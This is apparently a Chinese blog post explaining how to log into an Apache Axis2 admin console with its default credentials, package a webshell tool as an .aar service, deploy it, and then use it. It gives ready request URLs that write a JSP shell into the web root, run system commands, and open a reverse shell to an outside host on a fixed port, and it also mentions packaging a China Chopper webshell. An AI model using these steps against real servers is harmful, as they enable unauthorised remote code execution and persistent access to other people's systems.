标签：
Axis2：
Web Service是现在最适合实现SOAP的技术，而Axis2是实现Web Service的一种技术框架（架构）。
昨天把把菜刀脚本打包发现<>在xml会被转义，导致菜刀客户端无法连接。看起来别人可以修改response类型，但是我没成功。利用之前发的Cat小工具打包成aar就可以玩了。
axis2管理登陆默认配置了用户名为admin，密码axis2：
axis2管理后台：
想要deploy 自己的应用需要先打成对应的aar、jar包。用eclipse安装axis2插件。
Service Archive Wizard – Eclipse Plug-in 、Code Generator Wizard – Eclipse Plug-in
下载地址：https://axis.apache.org/axis2/java/core/tools/index.html
下载完成后直接把对应的jar丢到eclipse的dropins目录就行了。
新建一个java项目，写好相关脚本。
导出aar：
安装完成后新建Axis2 service Archiver项目，当然可以根据自己的需求可以利用Axis2 code generator生成wsdl文件。
指定class file为此项目编译目录。
wsdl可以自动生成或者load已生成的wadl文件，可以跳过。Add any external libraries不用继续跳过。service.xml也自动生成接这继续跳到下一步。
Generate the Service XML file:
选中可供外部调用的类方法。service name用于部署成功后访问。最后一步写上aar名字和位置就可以生成成功了。
然后继续回到后台deploy Cat.arr：File Cat.aar successfully uploaded
部署成功后切到：Available Services(可用的services)。
访问：http://localhost:8080/axis2/services/Cat?wsdl 可看到所有可被调用的方法名和具体的参数以及返回值类型：
比如调用Cat里面的getClassPathResponse这个方法，会返回了当前的classpath。
往axis2目录写shell: http://localhost:8080/axis2/services/Cat/writeStringToFile?data=test&file=/Users/yz/Documents/install/apache-tomcat-7.0.56/webapps/axis2/1.jsp&encoding=utf-8&append=false
执行命令: http://localhost:8080/axis2/services/Cat/exec?cmd=whoami
反弹Shell: http://localhost:8080/axis2/services/Cat/shell?host=p2j.cn&port=9527
其他功能(文件下载等)请参考：cat小工具，测试完成记得在Available Services 卸载(Remove Service)对应的Service.
标签：
原文地址：http://www.cnblogs.com/dongchi/p/4890470.html
